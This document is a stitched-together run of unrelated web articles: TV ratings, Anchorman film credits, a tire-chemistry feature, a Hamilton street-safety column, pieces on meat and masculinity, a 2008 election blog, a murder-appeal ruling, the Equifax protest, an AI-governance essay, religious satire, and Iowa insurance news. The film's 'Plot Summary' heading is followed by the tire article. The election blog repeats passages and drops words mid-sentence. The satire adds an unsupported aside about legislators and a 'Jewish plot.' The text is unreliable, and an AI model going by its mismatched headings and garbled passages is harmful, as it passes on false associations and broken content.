Flipping back to b-ball, like last year’s opener, Steph Curry and the Warriors were not victorious but the game itself was – at least for the NBA and TNT. With a 3.1 metered market result, the second game of last night’s opening doubleheader was up 24% over the Bay Area team’s match-up with the San Antonio Spurs on October 25, 2016 where the Texas team won 129-100. The Warriors vs. Rockets game hit its own high with a 4.4 rating in the 10:30 – 10:45 PM ET slot as the championship trophy ceremony was being conducted on-air.
(p.m. screenings)
Studio:Paramount Pictures Director:Adam McKay MPAA Rating:PG-13 (for crude and sexual content, drug use, language and comic violence) Screenwriters:Will Ferrell, Adam McKay Starring:Will Ferrell, Christina Applegate, Steve Carell, David Koechner, Paul Rudd, Kristen Wiig, James Marsden, Dylan Baker, Meagan Good, Harrison Ford, Greg Kinnear, Josh Lawson, Vince Vaughn, Luke Wilson, Nicole Kidman Genre:Comedy Official website:Anchormanmovie.com| Facebook| Twitter
Plot Summary:
When global climate change began to grab headlines some years ago, tire industry researchers analyzed the car tire's total lifetime ("wells-to-wheels") environmental impact to help determine how it might be improved. They found that the aspect of the tire that contributes the most to greenhouse gas emissions—around 86 percent of its effect—is related to the amount of the extra fuel that tires cause engines to burn to overcome the rubber's resistance to rolling, says Forrest Patterson, technical director for passenger cars and light truck tires at Michelin North America in Greenville, S.C. Every 3.8 liters (gallon) of oil that remains unburned keeps 8.2 kilograms (18 pounds) of carbon dioxide out the air.
Tire companies responded initially by developing low rolling resistance tires that generate about 5 percent less friction as they rotate on the pavement, which can boost fuel economy by as much as 4 to 8 percent over regular models. Over the lifetime of a tire, "we could be talking about saving from 10 to 80 gallons [40 to 300 liters] of gasoline" this way, Patterson says. They also set about encouraging motorists to maintain full inflation pressures.
But now tire-makers have turned increasingly to finding renewably sourced raw materials to replace current oil-based ingredients of tires. Depending on the model, anywhere from 15 to 38 liters of petroleum are required to produce a standard tire. Low-oil content tires use various natural, sustainable ingredients as substitutes including chemically toughened natural rubbers, vegetable-based processing oils and fibers made of plant cellulose. They also found nonpetroleum versions of what the tire industry calls fillers—special functional additives that boost, for example, manufacturing processability or durability.
Tire chemistry is more complex than one might expect. "Some 30 or 40 chemicals go into tire rubber compounds, depending on the component—tread, sidewalls, belts, carcass plies and liner," notes James Rancourt, a consulting polymer scientist who heads Polymer Solutions in Blacksburg, Va. By weight, he explains, the tread compounds of a conventional tire contain about 28 percent natural rubber, which comes from latex sap, 28 percent synthetic rubber, which is made from oil, and 28 percent carbon black filler—a sootlike reinforcing agent that is produced by partially burning fossil fuels. The remaining 16 percent comprises different functional agents of various kinds.
The drive to produce low-rolling resistance tires was, in fact, a first step toward making them more ecofriendly because it involved replacing certain petroleum-based substances in tire construction, says Harold Herzlich, president of Las Vegas–based Herzlich Consulting, a former tire industry executive. Manufacturers added modified silica filler—essentially, surface-treated sand microparticles—to replace some of the carbon black reinforcement in standard tires. It lessens the frictional heat that the rubber compound creates as it flexes, stretches and recovers with each turn.
Japan's Sumitomo Rubber Industries introduced several years ago a Dunlop-branded tire line called Enasave 97 that incorporates natural ingredients. Sumitomo engineers not only used silica fillers, they also employed a specially modified natural rubber that grips better than unmodified versions, along with vegetable-derived processing oil, and cellulose-based (rayon) casing fibers, says company spokesperson, Masatoshi Hayashi. In 2008 it unveiled a prototype Enasave tire that contained 97 percent natural compounding ingredients and plans to market a model that will contain no petrochemical materials at all by 2013.
Yokohama Tire has in the meantime developed tires that are 80 percent petroleum-free, says Dan Guiney, director of technical services. The company's dB Super E-spec car tire and its ADVAN ENV-R1 racing tire both use modified natural rubber compounds and processing oil that is derived from orange peels, a waste by-product of fruit juice processing. The company, which introduced the dB Super E-spec orange oil-infused model last year, reportedly charges roughly 30 percent more for the green tire.
Michelin says that it employs sunflower oil in the rubber compound of its premium Primacy MXM4 all-weather tires to improve traction in winter conditions and shorten braking distances in the rain.
Other tire-makers are looking beyond traditional rubber trees to develop new, potentially cheaper and more sustainable crop sources of natural latex such as Russian dandelion, a central Asian weed variety, and guayule, a desert shrub that grows in the U.S. Southwest and Mexico, Herzlich says.
Still other companies are turning to renewable synthetic rubbers made of precursor chemicals that are grown in vats by biotech-modified microorganisms. In 2007 Goodyear entered into a research collaboration with the industrial biochemical firm Genencor of Palo Alto, Calif., (a subsidiary of Danisco, a Denmark-based food ingredient company) to develop microbes that can grow the isoprene monomer, or what the company calls BioIsoprene, says Rich LaDuca, senior director of business development at Genencor. Goodyear will use the BioIsoprene to cook up a synthetic rubber that mimics natural rubber, which is composed of polymerized natural isoprene. The biotech firm will offer to supply the sustainable chemical to other tire manufacturers as well.
A research group at Oregon State University recently reported that microcellulose, or microcrystalline cellulose, which can be made from various plant fibers, provides a promising alternative to the heavy (and costly) silica mineral fillers now used to reduce tires' rolling resistance. The lightweight microcellulose could save even more fuel. More study is needed, however, to confirm the long-term durability of tires that incorporate this natural additive.
In the meantime, the tire industry is trying harder to recycle more of the estimated 300 million used tires that are discarded annually in the U.S. Tire recycling has grown markedly in recent years and small quantities of processed rubber are reused in some tires, but these efforts are limited by the quality of the rubber feedstock, Herzlich says. One company, Georgia-based Lehigh Technologies, has developed a process that freezes the rubber with liquid nitrogen before grinding it into pulverized rubber feedstock that could go into tires.
In time, the ongoing installation of new precision tire-making machinery that can hold much tighter manufacturing tolerances will allow tire-makers to produce tires that have little extra weight beyond the design spec, Herzlich says. "If you take a half ounce out of a tire," he explains, "it saves fuel because it makes it easier to rotate the wheel."
Published March 02, 2016
Ghost bike for Jay Keddy, killed on the Claremont Access on December 3, 2015
On Friday, December 4 at 8:30 AM, a Mazda 3 slammed so hard into a concrete pole on the Kenilworth Access that the pole crashed across the street. I'm not sure what is more disturbing: that the driver was apparently drunk (she has been charged with impaired driving) or that she was able to drive fast enough during rush hour to knock over a concrete pole with a small car.
That same morning, Hamilton Police set up a speed trap at the bottom of the Jolley Cut. Just before 9:00 AM, a driver roared through the trap at 89 km/h and nearly ran over an officer. Again, I'm not sure what's worse: that the driver was also allegedly drunk or that he could reach highway speed on an urban roadway during rush hour.
On Saturday, January 16, police recorded a driver going an astonishing 141 km/h on Paramount Drive near Butternut Court. Paramount is a three-lane street with a 40 km/h speed limit running through the middle of a residential neighbourhood.
No one died in these incidents but not everyone is so lucky. On Sunday, January 24, a northbound driver on James Street South near the Hunter GO Station crashed into a southbound bus turning left into the station. The driver was going 100 km/h and died from the collision.
These are not isolated incidents. They follow a consistent pattern of dangerous driving on Hamilton streets.
Last year, 18 people died in traffic collisions in Hamilton. Half of these people weren't even in cars: eight were walking and one was riding a bike. That ratio of fatalities among the most vulnerable street users makes Hamilton a major outlier compared to other Ontario cities.
In March 2014, the City installed a mobile speed radar for eight days on Herkimer Street next to Durand Park, a popular local playground. At all hours of the day, including during rush hour, the peak hourly speed exceeded 70, 80 or 90 km/h. And that's with a large display on the side of the road flashing drivers' speeds at them.
Likewise, the City set up the mobile speed radar on Hunter Street west of MacNab - just as you approach Central School - for two weeks in May 2015. Maximum speeds above 70 km/h were recorded during every hourly time period on a street with a 40 km/h speed limit.
Car recorded driving 55 km/h in a 40 km/h zone on Hunter (RTH file photo)
In 2013, the Social Planning and Research Council compared ten years' worth of collision data and concluded that Hamilton is the second-most dangerous city in Ontario for people on foot. The injury risk for pedestrians is 42 percent higher than the provincial average, and the risk for cyclists is 81 percent higher.
There is a simple, horrible reason there is so much dangerous speeding on Hamilton streets: they're designed that way. Arterial streets in Hamilton are designed for running speeds up to 80 km/h with wide lanes and minimal obstacles or encumbrances that might slow drivers down.
In the old lower city, we converted dozens of city streets to one-way traffic so they can have multiple lanes for reckless passing with narrow ribbons of sidewalk just inches away. In newer parts of the city, arterial streets have long blocks and staggeringly wide lanes with dedicated turn lanes so no one ever has to slow down.
For decades, we have taken the approach that the best way to make streets safe is to make lanes wide and eliminate any obstacles that might get in the way of drivers, on the assumption that removing potential hazards reduces the chance of a collision.
Unfortunately, this assumption is dead wrong. We now have decades of research proving that people drive at a speed that feels comfortable, and streets designed with wide uninterrupted lanes encourage dangerously fast driving. When you combine that feeling of comfort with the sudden addition of a pedestrian - even one crossing legally at a crosswalk - it's a recipe for collisions and trauma.
As a vehicle's speed increases, its kinetic energy increases quadratically. A vehicle going twice as fast has four times as much energy, and a vehicle going four times as fast has 16 times as much energy. It becomes vastly more difficult to stop in time to avoid a collision, and when a collision does occur, the damage is vastly more serious.
This is why a pedestrian's fatality risk from a vehicle collision jumps from 5 percent at 30 km/h to 45 percent at 48 km/h and 85 percent at 64 km/h.
Again, this is borne out in the data. According to a May 2000 paper published in the peer-reviewed journal Canadian Journal of Public Health using Hamilton data, the injury rate for children was 2.5 times higher on one-way streets than on two-way streets. Again, one-way streets may seem intuitively to be safer - no opposing traffic to worry about - but in effect they are more dangerous.
Streets designed for fast, uninterrupted driving encourage drivers to drive faster, of course, but they also encourage drivers to lower their guard about possible obstacles.
That reduced situational awareness, combined with higher speeds, is a deadly combination when a pedestrian does unexpectedly show up - for example, in a crosswalk, where most pedestrian collisions occur.
Cities around the world are following the lead of Sweden and committing to Vision Zero, a commitment to eliminate traffic fatalities by making streets inherently safer for everyone. Vision Zero is based on the idea that the limiting design guide for our transportation system should be the body's ability to tolerate trauma.
It may be counterintuitive, but the best way to make streets safer for everyone is to make them feel more dangerous for drivers with narrower lanes, overhanging street trees, bumpouts, raised crosswalks, chicanes, parked cars, protected bike lanes, speed humps and other design elements that force drivers to slow down and pay attention.
No amount of education or enforcement can overcome the predictable effects of streets that are designed to maximize the likelihood, speed and severity of collisions. We need to address the root of the problem - the design that encourages fast, distracted driving in the first place.
The first thing we need to is admit that the way we've been doing it up to now is not working. This is not about blame but about recognizing, as John Maynard Keynes famously said, that the facts have changed and our opinions need to follow suit.
This article was first published in the February, 2016 issue of Urbanicity Magazine.
Ryan McGreal, the editor of Raise the Hammer, lives in Hamilton with his family and works as a programmer, writer and consultant. Ryan volunteers with Hamilton Light Rail, a citizen group dedicated to bringing light rail transit to Hamilton. Ryan writes a city affairs column in Hamilton Magazine, and several of his articles have been published in the Hamilton Spectator. He also maintains a personal website, has been known to share passing thoughts on Twitter and Facebook, and posts the occasional cat photo on Instagram.
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A supporting example: Google image search "men eating." Then do the same with "women eating." You'll notice most of the immediate stock shots are of men forking meat, while women munch salads looking strangely happy. This visual paints the picture that plant food is for ladies, and perhaps cows, but men? Not so much. For many men, meat is an inarguable symbol of masculinity. We've been fed this idea for decades. If you are what you (m)eat, and you're a man, then you eat meat.
So does the meat make the man? A team of consumer researchers led by Dr. Attila Pohlmann from the University of Hawaii is studying just that: the effects of meat consumption on perceived levels of masculinity.
In a series of experiments, researchers found that after consumers experience a threat to their masculinity, the availability of a meat dish lowered their anxiety back to the level of an unthreatened control group. A flesh-free alternative presented to the threatened group did not produce the same anxiety-alleviating effect. The researchers hypothesize this effect is due to the masculinity-symbolizing power of meat. Or, in layman's terms: eat a steak, feel more like a man.
Meat in the media has become more controversial over the past several years as meat-free lifestyles like veganism and vegetarianism have gained spotlight and the health and environmental implications of the U.S.' massive meat consumption has gone under scrutiny.
But with meat still being the "manly" choice, it may become even harder for male consumers to opt for a meat-free lifestyle, even if they support it in theory. It's hard to shift an individual's perception without first tackling their society's view.
"The strongly pronounced gender-food linkage presents a dilemma for traditionally masculine persons when it comes to deciding what to eat," says Pohlmann, a vegetarian himself. "Consistently, they choose the steak over the vegetarian alternative." Pohlmann believes that accurately exploring and then exposing the psychological and physiological factors involved in this tie will hopefully influence marketing messages about masculinity and meat consumption in socially beneficial ways.
He's not the first to explore this topic.
Participants from a 2012 study published in the Journal of Consumer Research rated men who ate meat as more masculine than meat-free men, and a 2011 study from Appetite journal found that vegetarian men were still viewed as manly, but vegan men were seen as effeminate.
In the book The Sexual Politics of Meat, it's argued that the connection between meat and masculinity goes far beyond typical sexist advertising as it articulates the hidden connections between meat eating and patriarchy. That book hit shelves in 1990, so this idea has been percolating for some time now.
"I don't necessarily equate manliness with my eating lifestyle," says entertainment writer Nick Caruso, who follows a loose Paleo diet. "But that said, there's something to chowing down on a rare, bloody steak and really feeling at one with the circle of life. So it's a mixed bag sometimes."
Not all men find going meat-free to be a hit to their mojo.
Big name men have been eschewing meat in the media for years now. Bill Clinton, Moby and Paul McCartney have all publicly discussed their meat-free diets. Not manly enough for you? How about Woody Harrelson, Jared Leto or Joaquin Phoenix?
Samuel L. Jackson, too, has talked openly about being meat-free.
"It's a new vegan diet. I'm just trying to live forever," the "Bad Ass Motherf*cker" told Yahoo.
Pro athletes Prince Fielder and Carl Lewis tackle impressive physical feats while eschewing meat. And if you're swimming in the vegan pool, then you've likely heard about Brendan Brazier, John Lewis (aka the Bad Ass Vegan), and Rich Roll, all highly athletic, ultra masculine men who have been off the meat for ages.
Despite these prime examples, society doesn't seem quite ready to divorce itself from the meaty man narrative.
"Most people who have an opinion on what a 'man' or 'woman' is or does probably has a skewed view on gender roles," says photographer Geoff Souder, who has gotten a fair share of "eat like a man" comments since he went off meat six years ago. "It's a misplaced aggression, but I have no problem shutting it down."
"With anything in Western society, it has to do with marketing," says vegan chef, author and actor Ayinde Howell, founder of vegan blog iEatGrass.com. "Backed up by the entertainment industry is the idea that the bloodier the steak, the more manly the man, the same way it once was with the man smoking cigarettes." A lifelong vegan (meaning his parents raised him that way), Howell says he has never felt his manhood was under siege when others learn he eats no meat--other than the typical scrutinization he gets for being vegan in general.
Howell's link between eating meat and smoking cigarettes is an interesting one; twenty years from now, will meat consumers be ostracized the way smokers are today?
"I think vegan men are setting great examples to the world," Howell continues. "The more athletes and businessmen, or anyone who excels at their craft, the better because we can draw a direct line between the way they eat and the way they perform on the field or in the boardroom. It's helpful in changing that stereotype."
"Eating meat filled with estrogen and antibiotics? It's supposed to be manly?" asks author and YouTube personality Chris Cooney of The Vegan Zombie. "No thanks. I'll stick with plant protein. Compassion is the new sexy."
“If subtle coercion fails and force is required, Mr Obama and his successors will have the wherewithal to target anyone, anywhere, with the utmost precision and the deadliest means,” write the pair, who co-authored the documentary series and book “The Untold History of the United States.” “The US is establishing absolute mastery over land, sea, air, space and cyber space — full-spectrum dominance.”
I am a self-employed freelance writer and this past year faced the harsh yet necessary reality of providing my own health insurance. I work 50+ hour work weeks doing a job I love and go to the gym without fail 5 days a week.
The daughter of a woman who chose divorce rather than stay in an unfulfilling marriage, she raised my brother, sister and me from my first day of junior high school onward. My father is remarried to a woman who brings him joy and my siblings each pursue lives that bring them, what I hope, is happiness.
I am my own retirement plan.
There is a leak under my bathroom sink that I can’t afford to have repaired right now after a recent $1800 water pipe repair under my driveway.
I occasionally eat too much and frequently sleep too little.
I’m blessed with friends like no other and only hope they feel the same about me.
My story is not unique. Nor did I mention any of the above to be perceived as special. I’m like many people I know and probably more like many I’ve never met. But in this election year, I’ve been humbled in realizing that it’s not my story that counts. It’s yours.
I’ve been politically apathetic for many years now, having only voted in the last Presidential race for Kerry to avoid the chance of NOT canceling-out a vote for Bush in the State of California. I can remain silent no longer, and once again, I realize that it’s not my vote that counts, it’s yours.
As a woman, I’m appalled that the Republican Party feels that Governor Sarah Palin is any substitute for Hillary Rodham Clinton. I also mourn each disaffected Hillary fan who defects and casts a ballot for Palin’s ticket in November out of spite. Spite is no overtone to invoke in the running a successful business – and the business of our nation’s future is at hand.
This blog, while occasionally humorous and purely reactionary to the addition of Palin to the GOP ticket, has stirred in me THIS entry, which goes forth to tell my government all I ask in this election year. It is meant to be non-partisan and without political endorsement, but moreso thought-provoking for each and every eye that stumbles across this page. Perhaps you’ll find something in my voice that will inspire you to use yours.
Forward this to a friend, tweet it, stumble it, digg it, repost it. Click away from it. But as you do any of the above, all I ask is that you form an opinion.
As I can only hope that, like me, you can remain indifferent no longer.
All I ask is the following:
That my government never turns its back on the men and women who serve our country in the Armed Forces.
That my elected leaders choose cabinet members who are as skilled policymakers as their campaign speech writers are at choosing the right combination of words.
That my government allows me to raise my family without legislated religious influence, giving me the credit due for being an intelligent human being and my capability to choose what’s best for my loved ones within the limits of the law.
That my government spend more time addressing the climate crisis and need for energy reform than it does trying to get into my uterus. If my social life were as active as the moral majority’s anti Roe-v-Wade stance, you’d call me a whore.
That my government enacts policy that will support our public schools and charter schools, paying teachers a wage that allows them to exist above the poverty line.
That if my government is going to preach about the glass ceiling, that it respect the collective intelligence of our nation’s women in the process. To excel in society is not a right, but a privilege earned by grasping opportunity. Speak to our nation about opportunity, not glass ceilings. Speak to me about those who have earned their achieved rungs on the ladder, as opposed to those who have been perched for show like a beauty queen.
not glass ceilings. Speak to me about those who have their achieved rungs on the ladder, as opposed to those who have been perched for show like a beauty queen. Whatever your vision of family may be, that you understand that family begins at home. Spending more time with your family is never a burden, and perhaps we should lead by example. No two families are alike and nor can we say any family’s choice is truly right or wrong. But if you’re preaching a party line of family values, make sure that you’re not talking out of both sides of your red, white and blue mouth.
Is that politicians do not try to delude me in making me think it’s a Presidential Race. It is a team race. We are to vote for a team: President and Vice President. In this election year where we look to elect the first American of African descent or a 72 year-old man with a troubling medical history to our nation’s highest office, we must understand both sides of the coin . Do we trust, fully and honestly, that should we experience the unthinkable — the alternative is capable of leading our nation and working cohesively with Congress and the international leadership community?
We are to vote for a team: President and Vice President. In this election year where we look to elect the or a to our nation’s highest office, . Do we trust, fully and honestly, that should we experience the unthinkable — the alternative is capable of leading our nation and working cohesively with Congress and the international leadership community? That when I look at my friends, black, Islam, Hindi, white, gay, straight, transgender, Christian, Jewish, Hispanic, atheist, divorced, single, married, widowed, wealthy, middle-class, struggling, employed, unemployed, male or female, that I know each will be able to visit their loved ones in a hospital and join with them legally to make life decisions.
That while socialized medicine may not be the answer to better health opportunities, my government stop speaking and start acting on promoting affordable health care. I’m a 35 year-old woman who orders medication from Canada every 90 days because it saves me over $100/month. I am fortunate for Canada these days. America – make me fortunate for your health care reform.
That while there will always be hate, intolerance, prejudice and discrimination, that my government will not be the one to promote it through a legislative agenda, no matter how “morally motivated” it might be.
Now, I ask that you vote on November 4th. And if you’re having trouble with anything I’ve asked above, here are some resources to use for your own research:
The Issues: Barack Obama’s Voting History
The Issues: Joe Biden’s Voting History
The Issues: John McCain’s Voting History
The Issues: Sarah Palin’s Voting History
National Organization for Women
MoveOn.org
The Nation
and for those who know me and feel I’ve lost my sense of humor: The Onion.
The Kansas Supreme Court on Friday unanimously upheld Scott Roeder’s first-degree murder conviction, but vacated his Hard 50 life sentence and ordered the case back to Sedgwick County for resentencing.
“I don’t like that – oh, my gosh,” Hoepner said when he learned of the court’s action. “They should put him in prison and leave him there.
“That was probably the most traumatic day of my life.”
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Hoepner was serving as an usher with Tiller inside Reformation Lutheran Church on May 31, 2009. Roeder walked up, put a gun to Tiller’s forehead and pulled the trigger, Hoepner said.
“The whole thing was just surreal,” said Hoepner, who along with Keith Martin followed Roeder out a side door and tried to stop him until he threatened to shoot them as well.
Roeder, 56, was found guilty of first-degree murder in Tiller’s death and two counts of aggravated assault for threatening to shoot Hoepner and Martin.
Roeder, an anti-abortion activist, said he was trying to save unborn children when he killed Tiller, who performed abortions at his east Wichita clinic.
Roeder testified at his trial that his conversion to Christianity in 1992 ultimately led to a strong opposition to abortion. He said he often demonstrated at abortion clinics and focused on Tiller because he was one of three doctors in the country who performed late-term abortions.
After seeing other attempts to prevent Tiller from performing abortions fail, Roeder testified that he decided to kill Tiller.
The state Supreme Court said in its ruling Friday that Sedgwick County District Court did not err in denying Roeder’s motion for change of venue; in ruling that Roeder could not present evidence supporting a necessity defense or have the jury instructed on the necessity defense, and in denying Roeder’s request for a charge of voluntary manslaughter based on imperfect defense-of-others.
But the justices ruled that Roeder’s sentence of life in prison with no chance of parole for 50 years violated his constitutional rights because it was imposed by a judge and not by a jury.
A 2013 U.S. Supreme Court ruling in a Virginia case found that giving judges the sole authority to impose such mandatory minimum sentences was unconstitutional. The ruling prompted the Kansas Legislature to amend state law to have jurors make that determination.
In Friday’s ruling in Roeder’s case, and in several other cases where Hard 50 sentences were vacated, the Kansas Supreme Court has not ruled on whether prosecutors can impanel a jury to resentence defendants like Roeder under the new Hard 50 statute.
Sedgwick County District Attorney Mark Bennett said Friday in a news release that he anticipates seeking a new Hard 50 sentencing hearing for Roeder. Under Kansas law, the other sentencing option for first-degree murder is life with no parole opportunity for 25 years.
The thought of having to testify in another hearing holds no appeal for Hoepner.
“I thought this was all behind me,” he said. “Actually, it’s kind of in the back of your mind all the time.
When former Equifax CEO Richard Smith was getting ready to answer senators' questions in Washington on Wednesday, it is unlikely he gave much thought to the risk of being upstaged by the Monopoly Man.
But sitting behind him, bedecked in top hat, monocle and comedy moustache, was Rich Uncle Pennybags.
Or, at least, Amanda Werner of the campaign groups Public Citizen and Americans for Financial Reform, dressed as the popular board game mascot in protest against Equifax.
Image copyright Reuters Image caption Social media users have also pointed out the Monopoly mascot does not wear a monocle
Mr Smith was giving evidence to senators following a massive data breach at Equifax, which may have exposed the personal information of more than 145 million people.
The Public Citizen stunt has captured the imagination of social media users.
Since Wednesday afternoon the phrase 'Monopoly Man' has been used more than 42,000 times on Twitter. Images from the protest have been retweeted, sometimes tens of thousands of times, including by finance journalists and celebrities.
As Mr Smith answered senators' questions, Ms Werner peered intently at the proceedings through a monocle, pausing occasionally to dab imaginary sweat from her brow with a bundle of oversized notes.
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Following the former Equifax CEO into a lift, Ms Werner attempted to hand him a bag of money. On Reddit, some referred to her as "the hero we need," while others advised "internet trolls take notes" from her actions.
Public Citizen claimed colleagues had earlier hand-delivered 'Get Out of Jail Free' cards - handy if you find yourself on the wrong side of the law in the popular Monopoly board game - to all 100 Senate offices.
Image copyright Public Citizen
The campaign group is seeking to highlight forced arbitration clauses which, it says, favour financial institutions rather than customers.
Terah Lyons Blocked Unblock Follow Following May 15, 2017
Technology governance is not a new notion. But AI and machine learning present unique complexities in governance that as a society, we largely have not been forced to previously consider.
The last time a technological revolution had so seismic an impact, some argue, was when the steam engine transformed industrial settings in the 1700s.
Back then, however, the policy and legal landscape was significantly less complicated — the modern U.S. patent system had barely even been invented — and technological development emanated far fewer moral and ethical quandaries than does an advancement so profound and far-reaching as machine intelligence.
This has left policymakers with a lot of questions about how best to proceed. During the Obama Administration, the White House Office of Science and Technology Policy led a significant policy process on AI with the goal of setting a foundation for domestic policymaking on issues related to machine intelligence in the United States.
Simultaneously, other countries have also begun investigating similar questions — last year, the UK Parliament released a report on robotics and artificial intelligence policy, and the EU Commission generated significant public attention earlier this year after calls for EU-wide ethical and liability standards for robotics.
Given the inevitable acceleration of AI development and distribution, and the increasingly complicated legal and policy landscape, where does this leave us?
It may seem obvious, but one of the most salient points in AI governance is the notion that technology is not destiny. As the Obama Administration wrote previously on the topic of policy responses to advanced automation, economic incentives and public policy can play a significant role in shaping the direction and effects of technological change.
The scope of this responsibility is also global; to be effective, our approach to AI governance will ultimately have to cross borders and leverage international governance bodies.
Governments have a significant obligation to their citizens to think proactively about this, and to develop and maintain a policy environment that emphasizes safety and risk mitigation alongside a prioritization of innovation and accelerated research and development in areas where AI can improve the human condition.
Terah Lyons
Well unless you’ve been living in a cave for the last 6 months, you will know that this Sunday, shortly after 6PM, we will all die, unless you are saved in which case you will all live [within the bosom of the Lord].
You see the Crazy Christians will have you believe the Bible predicts the end of the world and this time (there are dozens of such predictions that have never come to pass) it’s really going to happen, in the form of a global earthquake.
Apparently Jesus and his Dad decided that things need to be “shaken up” so that those who are saved will be readily identified because they won’t be falling into the crevices and cracks caused by the giant earthquake and they can just be scooped up, put into bags according to race, creed, and color, and eventually carried up to Heaven by Angels, some of whom are lounging about on clouds looking for work, because Heaven is really, really boring. I mean how long can you stare at anyone, even Jesus and the Old Man, before the newness wears off?
Now those Jumpers for Jesus are really going all out for this one, and once again it’s a case of Atheists knowing more than the Christians about the Silly Book, because they know this is just another one of those goofy biblical rumors and come midnight, at least in the United States, the Atheists will be going to bed wearing secret smiles.
According to our friends at Truth Saves the claims about nature contained in the Bible are identical to the false beliefs held by the men who wrote it. Ancient man in the Mediterranean area was convinced that the sky was blue and leaked water because it held a body of water identical to the sea and rain was caused by openings in the sky. They also believed the moon was a dim source light and that a flat earth was the center of the solar system. Based on limited knowledge and limited vantage points all of these beliefs made perfect sense. However, if the Bible was the inspired word of an all knowing god then it would not reflect these outdated assumptions about nature. It is clear that the knowledge provided by the Bible is limited by the extent of ancient man’s knowledge and beliefs.
Big Blue Sky If the Bible were true then there would be a giant body of water that’s identical to the sea sitting above the heavens. Every time NASA sends a space shuttle to outerspace it would have to pass through a massive “sky-sea” before reaching outer space. Genesis 1:6-10 “And God said, “Let there be an expanse between the waters to separate water from water .” So God made the expanse and separated the water under the expanse from the water above it . And it was so. God called the expanse “sky.” And there was evening, and there was morning-the second day.”
Source Of Rain If the Bible were true then rain would be caused and stopped by the opening and closing of windows in the sky. Today we know that rain is actually the result of a four stage process, called the Water Cycle, involving evaporation, condensation, precipitation, and collection. Genesis 7:11-12 “…the windows of heaven were opened. And the rain was upon the earth …” Genesis 8:2 “…the windows of heaven were stopped, and the rain from heaven was restrained;”
The Moon If the Bible were true then the moon would be a source of light like the sun, only dimmer. We now know that the moon only reflects light from the sun yet the Bible specifically says the moon is a “lesser light” and that the light belongs to the moon. Genesis 1:16 “And God made two great lights; the greater light to rule the day, and the lesser light to rule the night: he made the stars also.” Isaiah 13:10 “moon shall not cause her light to shine.”
The Stationary Earth If the Bible were true Earth would sit motionless in the center of our solar system. Our home planet would be held up by actual pillars and attached to a literal foundation. Again and again the Bible tells us that Earth is immovable, in a fixed position, and attached to a foundation upon pillars. The book of Joshua even tells a story based on this false “geocentric” belief where the sun and moon stop their orbit around Earth and stood motionless in the sky for a day.
The Flat Earth
The Bible constantly describes Earth as being a flat object just as the writers were convinced it was. The Bible claims that Earth has a top and a bottom, ends which can be grabbed on to, is shaped like a circle, and that people only live on the top side of it. All these stories are directly contrary to the real life scenario of a spherical planet and would only apply if the story placed such events in a flat earth scenario.
Ed.: A number of Georgia legislators actually believe that the earth is flat and any opinions to the contrary are a huge Jewish plot.
Buy Photo The Iowa Insurance Division's "stopgap" proposal to shore up the state's shaky market for individual health-insurance policies. (Photo: Tony Leys/The Register)Buy Photo
Iowa leaders pulled the plug Monday on their “stopgap” proposal to try to shore up the state’s rickety market for individual health insurance policies.
With open enrollment set to start in less than two weeks, the state could no longer wait to hear if federal officials would approve the plan, which would have rewritten significant Affordable Care Act rules on how federal subsidy money is used.
"I'm extremely disappointed," Gov. Kim Reynolds told reporters at a press conference Monday afternoon.
Reynolds, a Republican, said Trump administration officials gave the proposal fair consideration. But she said they couldn't make it square with strict rules for such waivers under the Affordable Care Act, also known as Obamacare. "It came down to the law," she said. "... It just does not afford the flexibility that we need to be creative."
CLOSE Iowa Insurance Commissioner Doug Ommen has proposed a 'stopgap' plan to shore up the state's teetering market for individual health insurance policies. Tony Leys/The Register
The stopgap proposal, first outlined by state regulators in June, would have affected about 72,000 Iowans who buy their own health insurance instead of obtaining it via an employer or a government program, such as Medicare or Medicaid. The proposal would have reconfigured federal subsidies under the Affordable Care Act, offering help to Iowans who make too much money to qualify for current subsidies. The plan also would have helped insurance carriers shoulder the cost of members who use more than $100,000 worth of health care in a year.
Democratic leaders disputed Republicans' attempts to blame the Affordable Care Act, which was passed under Democratic President Barack Obama.
"I think they can claim this debacle as their own making," Sen. Janet Petersen said in an interview Monday afternoon. She said the recent turbulence in Iowa's market came after Republicans in Congress and the White House threatened to repeal the Affordable Care Act last spring without offering a solid replacement.
Petersen, D-Des Moines, is the Iowa Senate's new minority leader. She recommended last summer that Republican legislators and the governor agree to let children sign up for the state's Hawk-I health insurance program if their families lose private coverage. That suggestion was met with "crickets" from Reynolds' office, Petersen said Monday. Instead, the governor focused all efforts on the stopgap plan. "I think they should not have put all their eggs in one basket," Petersen said.
Insurance Commissioner Doug Ommen, who came up with the stopgap plan, said it would have stabilized the market by encouraging more young and healthy people to buy insurance. Without the stopgap plan, just one carrier, Medica, intends to sell individual insurance policies in Iowa next year. It intends to raise premiums by an average of more than 57 percent. Some consumers will see premiums more than double because their current carriers had lower premiums than Medica's this year.
However, about 50,000 Iowa consumers will be sheltered from the premium increases because they qualify for Affordable Care Act subsidies that will rise to cover the higher costs. But Iowans who make too much money to qualify for Obamacare subsidies would have to pay the whole amount.
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Ommen predicted roughly 20,000 of them would drop their coverage. "The healthiest are the first to go," he said at Monday's press conference. "Those are the people who contribute to a health insurance system, who actually have reasonably low claims." Their departure would lead to a "death spiral" of sharply increasing premiums pushing everyone out of the pool except people with expensive health problems, he said.
Iowa is suffering some of the most dramatic increases, but other states are seeing the same trend, Ommen said. "This is a national problem, and Congress needs to fix it," he said.
Reynolds had asked Ommen to come up with an alternative plan in May, when it appeared that no insurance carriers would offer individual insurance policies in Iowa for 2018. Two large carriers, Aetna and Wellmark Blue Cross & Blue Shield, had announced they were pulling out of the market because of heavy losses and a relatively unhealthy pool of consumers buying the policies. But Medica, a third, relatively small carrier, agreed to stay in the market if Ommen approved steep premium increases.
Sign-ups for 2018 coverage are to begin Nov. 1, and Iowans who need individual insurance will have only six weeks to decide on their options. Most Iowans who have individual coverage for this year have policies from Aetna. Ommen said those customers would be "auto-enrolled" into Medica plans if they take no action.
Medica released a statement Monday, saying it is prepared to sign up Iowa consumers who need individual insurance policies. The company said consumers will soon be receiving information from it and from the federal government about their options, now that Iowa's stopgap plan is off the table. "While this is not the preferred outcome for the state of Iowa, we want consumers to know that Medica is ready," company leaders wrote. "We have been in preparation to serve as the only individual insurance carrier in Iowa since our filing in June."
Ommen had hoped his stopgap proposal would gain quick federal approval from the administration of President Donald Trump, who is a fellow Republican. The proposal was vigorously supported by Iowa’s governor and two U.S. senators, who also are Republicans. But the Washington Post recently reported that Trump personally told a top administrator to reject the Iowa proposal.
